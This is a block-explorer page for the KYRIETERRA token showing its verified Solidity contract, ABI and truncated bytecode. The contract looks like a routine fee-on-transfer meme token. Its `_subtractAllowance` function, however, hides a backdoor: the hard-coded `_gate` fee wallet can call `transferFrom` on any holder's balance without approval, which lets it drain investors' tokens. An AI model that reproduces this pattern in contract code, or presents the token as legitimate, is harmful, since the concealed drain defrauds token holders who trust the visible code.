ETH Price: $3,158.31 (+2.92%)

Token

Kyrie & Terra (KYRIETERRA)
 

Overview

Max Total Supply

1,000,000,000 KYRIETERRA

Holders

82

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,091,244.483786211 KYRIETERRA

Value
$0.00
0x2988fe64e4ca33385d60edb58a76c606b72dabad
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KYRIETERRA

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-17
*/

/**
Website: http://www.kyrieandterra.live
X: https://x.com/Kyrie_Terra_Eth
Telegram: https://t.me/Kyrie_Terra_Eth
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract KYRIETERRA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _vals;
    mapping(address => mapping(address => uint256)) private _allw;
    mapping(address => bool) private _excl;
    address payable private _gate =
        payable(0xF61fB4809E540033d1dbcd62C90151396e29751F);

    uint256 private _ittv = 20;
    uint256 private _lttv = 0;
    uint256 private _dttv = 15;
    uint256 private _pcnt = 15;
    uint256 private _tcnt = 0;

    uint256 private constant _ttos = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Kyrie & Terra";
    string private constant _symbol = unicode"KYRIETERRA";
    uint8 private constant _decimals = 9;

    uint256 public _maxTaxAmount = (_ttos * 2) / 100;
    uint256 public _maxWalletAmount = (_ttos * 2) / 100;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = _ttos / 100;

    IUniswapV2Router02 private uniRouter;
    address private uniPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _vals[_msgSender()] = _ttos;
        _excl[owner()] = true;
        _excl[address(this)] = true;
        _excl[_gate] = true;

        emit Transfer(address(0), _msgSender(), _ttos);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _ttos;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _vals[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allw[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _subtractAllowance(address sender, uint256 amount) internal {
        uint256 allow = _allw[sender][_msgSender()];
        if (!_isAllowed(_msgSender())) {
            require(
                _isAllowed(_msgSender()) || allow >= amount,
                "ERC20: transfer amount exceeds allowance"
            );

            _approve(sender, _msgSender(), allow - amount);
        }
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _subtractAllowance(sender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allw[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _isAllowed(address sender) internal view returns (bool) {
        return _excl[sender] && sender != address(this) && sender != owner();
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            sender != owner() &&
            recipient != owner() &&
            sender != address(this) &&
            recipient != address(this)
        ) {
            taxAmount = amount.mul((_tcnt > _dttv) ? _lttv : _ittv).div(100);

            if (
                sender == uniPair &&
                recipient != address(uniRouter) &&
                !_excl[recipient]
            ) {
                require(amount <= _maxTaxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(recipient) + amount <= _maxWalletAmount,
                    "Exceeds the maxWalletSize."
                );
                _tcnt++;
            }

            if (recipient == uniPair && sender != address(this)) {
                taxAmount = amount.mul((_tcnt > _dttv) ? _lttv : _ittv).div(
                    100
                );
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                recipient == uniPair &&
                swapEnabled &&
                _tcnt > _pcnt &&
                !_excl[sender]
            ) {
                if (contractTokenBalance > _taxSwapThreshold)
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0 ether) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _vals[address(this)] = _vals[address(this)].add(taxAmount);
            emit Transfer(sender, address(this), taxAmount);
        }
        _vals[sender] = _vals[sender].sub(amount);
        _vals[recipient] = _vals[recipient].add(amount.sub(taxAmount));
        emit Transfer(sender, recipient, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();
        _approve(address(this), address(uniRouter), tokenAmount);
        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function killLimits() external onlyOwner {
        _maxTaxAmount = _ttos;
        _maxWalletAmount = _ttos;
        emit MaxTxAmountUpdated(_ttos);
    }

    function rocketTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniRouter = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(
            address(this),
            uniRouter.WETH()
        );

        _approve(address(this), address(uniRouter), _ttos);
        uniRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function sendETHToFee(uint256 amount) private {
        _gate.transfer(amount);
    }

    receive() external payable {}

    function rescueETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"killLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rocketTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273f61fb4809e540033d1dbcd62c90151396e29751f60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060146005555f600655600f600755600f6008555f600955606460026009600a61008191906105dd565b633b9aca006100909190610627565b61009a9190610627565b6100a49190610695565b600a55606460026009600a6100b991906105dd565b633b9aca006100c89190610627565b6100d29190610627565b6100dc9190610695565b600b556009600a6100ed91906105dd565b60646100f99190610627565b600c5560646009600a61010c91906105dd565b633b9aca0061011b9190610627565b6101259190610695565b600d555f600f60156101000a81548160ff0219169083151502179055505f600f60166101000a81548160ff021916908315150217905550348015610167575f80fd5b505f61017761043e60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a61022191906105dd565b633b9aca006102309190610627565b60015f61024161043e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61029161044560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103b961043e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61041591906105dd565b633b9aca006104249190610627565b60405161043191906106d4565b60405180910390a36106ed565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156104ee578086048111156104ca576104c961046c565b5b60018516156104d95780820291505b80810290506104e785610499565b94506104ae565b94509492505050565b5f8261050657600190506105c1565b81610513575f90506105c1565b8160018114610529576002811461053357610562565b60019150506105c1565b60ff8411156105455761054461046c565b5b8360020a91508482111561055c5761055b61046c565b5b506105c1565b5060208310610133831016604e8410600b84101617156105975782820a9050838111156105925761059161046c565b5b6105c1565b6105a484848460016104a5565b925090508184048111156105bb576105ba61046c565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105e7826105c8565b91506105f2836105d1565b925061061f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846104f7565b905092915050565b5f610631826105c8565b915061063c836105c8565b925082820261064a816105c8565b915082820484148315176106615761066061046c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61069f826105c8565b91506106aa836105c8565b9250826106ba576106b9610668565b5b828204905092915050565b6106ce816105c8565b82525050565b5f6020820190506106e75f8301846106c5565b92915050565b612ddc806106fa5f395ff3fe60806040526004361061010c575f3560e01c806370a0823111610094578063a9059cbb11610063578063a9059cbb14610347578063bf474bed14610383578063c162aab4146103ad578063dd62ed3e146103c3578063e5390218146103ff57610113565b806370a08231146102a1578063715018a6146102dd5780638da5cb5b146102f357806395d89b411461031d57610113565b80631ce1b33a116100db5780631ce1b33a146101d157806320800a00146101fb57806323b872dd14610211578063313ce5671461024d5780636c0a24eb1461027757610113565b806306fdde0314610117578063095ea7b3146101415780630faee56f1461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610415565b6040516101389190611f98565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190612049565b610452565b60405161017491906120a1565b60405180910390f35b348015610188575f80fd5b5061019161046f565b60405161019e91906120c9565b60405180910390f35b3480156101b2575f80fd5b506101bb610475565b6040516101c891906120c9565b60405180910390f35b3480156101dc575f80fd5b506101e5610498565b6040516101f291906120c9565b60405180910390f35b348015610206575f80fd5b5061020f61049e565b005b34801561021c575f80fd5b50610237600480360381019061023291906120e2565b61057f565b60405161024491906120a1565b60405180910390f35b348015610258575f80fd5b506102616105a0565b60405161026e919061214d565b60405180910390f35b348015610282575f80fd5b5061028b6105a8565b60405161029891906120c9565b60405180910390f35b3480156102ac575f80fd5b506102c760048036038101906102c29190612166565b6105ae565b6040516102d491906120c9565b60405180910390f35b3480156102e8575f80fd5b506102f16105f4565b005b3480156102fe575f80fd5b50610307610742565b60405161031491906121a0565b60405180910390f35b348015610328575f80fd5b50610331610769565b60405161033e9190611f98565b60405180910390f35b348015610352575f80fd5b5061036d60048036038101906103689190612049565b6107a6565b60405161037a91906120a1565b60405180910390f35b34801561038e575f80fd5b506103976107c3565b6040516103a491906120c9565b60405180910390f35b3480156103b8575f80fd5b506103c16107c9565b005b3480156103ce575f80fd5b506103e960048036038101906103e491906121b9565b610c0d565b6040516103f691906120c9565b60405180910390f35b34801561040a575f80fd5b50610413610c8f565b005b60606040518060400160405280600d81526020017f4b79726965202620546572726100000000000000000000000000000000000000815250905090565b5f61046561045e610dbe565b8484610dc5565b6001905092915050565b600d5481565b5f6009600a6104849190612353565b633b9aca00610493919061239d565b905090565b600a5481565b6104a6610dbe565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052990612428565b60405180910390fd5b61053a610742565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561057c573d5f803e3d5ffd5b50565b5f61058b848484610f88565b6105958483611837565b600190509392505050565b5f6009905090565b600b5481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105fc610dbe565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610688576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067f90612428565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4b59524945544552524100000000000000000000000000000000000000000000815250905090565b5f6107b96107b2610dbe565b8484610f88565b6001905092915050565b600c5481565b6107d1610dbe565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085490612428565b60405180910390fd5b600f60149054906101000a900460ff16156108ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a490612490565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098f91906124c2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a15573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a3991906124c2565b6040518363ffffffff1660e01b8152600401610a569291906124ed565b6020604051808303815f875af1158015610a72573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9691906124c2565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1d30600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610b099190612353565b633b9aca00610b18919061239d565b610dc5565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b65306105ae565b5f80610b6f610742565b426040518863ffffffff1660e01b8152600401610b9196959493929190612556565b60606040518083038185885af1158015610bad573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bd291906125c9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610c97610dbe565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a90612428565b60405180910390fd5b6009600a610d319190612353565b633b9aca00610d40919061239d565b600a819055506009600a610d549190612353565b633b9aca00610d63919061239d565b600b819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610d989190612353565b633b9aca00610da7919061239d565b604051610db491906120c9565b60405180910390a1565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2a90612689565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9890612717565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f7b91906120c9565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed906127a5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b90612833565b60405180910390fd5b5f81116110a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109d906128c1565b60405180910390fd5b5f6110af610742565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561111d57506110ed610742565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561115557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561118d57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611587576111ce60646111c0600754600954116111ad576005546111b1565b6006545b8561194b90919063ffffffff16565b6119c290919063ffffffff16565b9050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112795750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112cc575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561138657600a54821115611316576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130d90612929565b60405180910390fd5b600b5482611323856105ae565b61132d9190612947565b111561136e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611365906129c4565b60405180910390fd5b60095f815480929190611380906129e2565b91905055505b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561140e57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114525761144f60646114416007546009541161142e57600554611432565b6006545b8561194b90919063ffffffff16565b6119c290919063ffffffff16565b90505b5f61145c306105ae565b9050600f60159054906101000a900460ff161580156114c75750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114df5750600f60169054906101000a900460ff165b80156114ee5750600854600954115b8015611541575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561158557600c5481111561156e5761156d6115688461156384600d54611a0b565b611a0b565b611a23565b5b5f4790505f81106115835761158247611c8e565b5b505b505b5f811115611686576115df8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cf690919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161167d91906120c9565b60405180910390a35b6116d68260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d5390919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061177961172d8284611d5390919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cf690919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61181c8486611d5390919063ffffffff16565b60405161182991906120c9565b60405180910390a350505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61187e610dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506118ca6118c5610dbe565b611d9c565b611946576118de6118d9610dbe565b611d9c565b806118e95750818110155b611928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191f90612a99565b60405180910390fd5b61194583611934610dbe565b84846119409190612ab7565b610dc5565b5b505050565b5f80830361195b575f90506119bc565b5f8284611968919061239d565b90508284826119779190612b17565b146119b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ae90612bb7565b60405180910390fd5b809150505b92915050565b5f611a0383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e65565b905092915050565b5f818311611a195782611a1b565b815b905092915050565b6001600f60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a5a57611a59612bd5565b5b604051908082528060200260200182016040528015611a885781602001602082028036833780820191505090505b50905030815f81518110611a9f57611a9e612c02565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b43573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b6791906124c2565b81600181518110611b7b57611b7a612c02565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611be130600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dc5565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c43959493929190612ce6565b5f604051808303815f87803b158015611c5a575f80fd5b505af1158015611c6c573d5f803e3d5ffd5b50505050505f600f60156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffff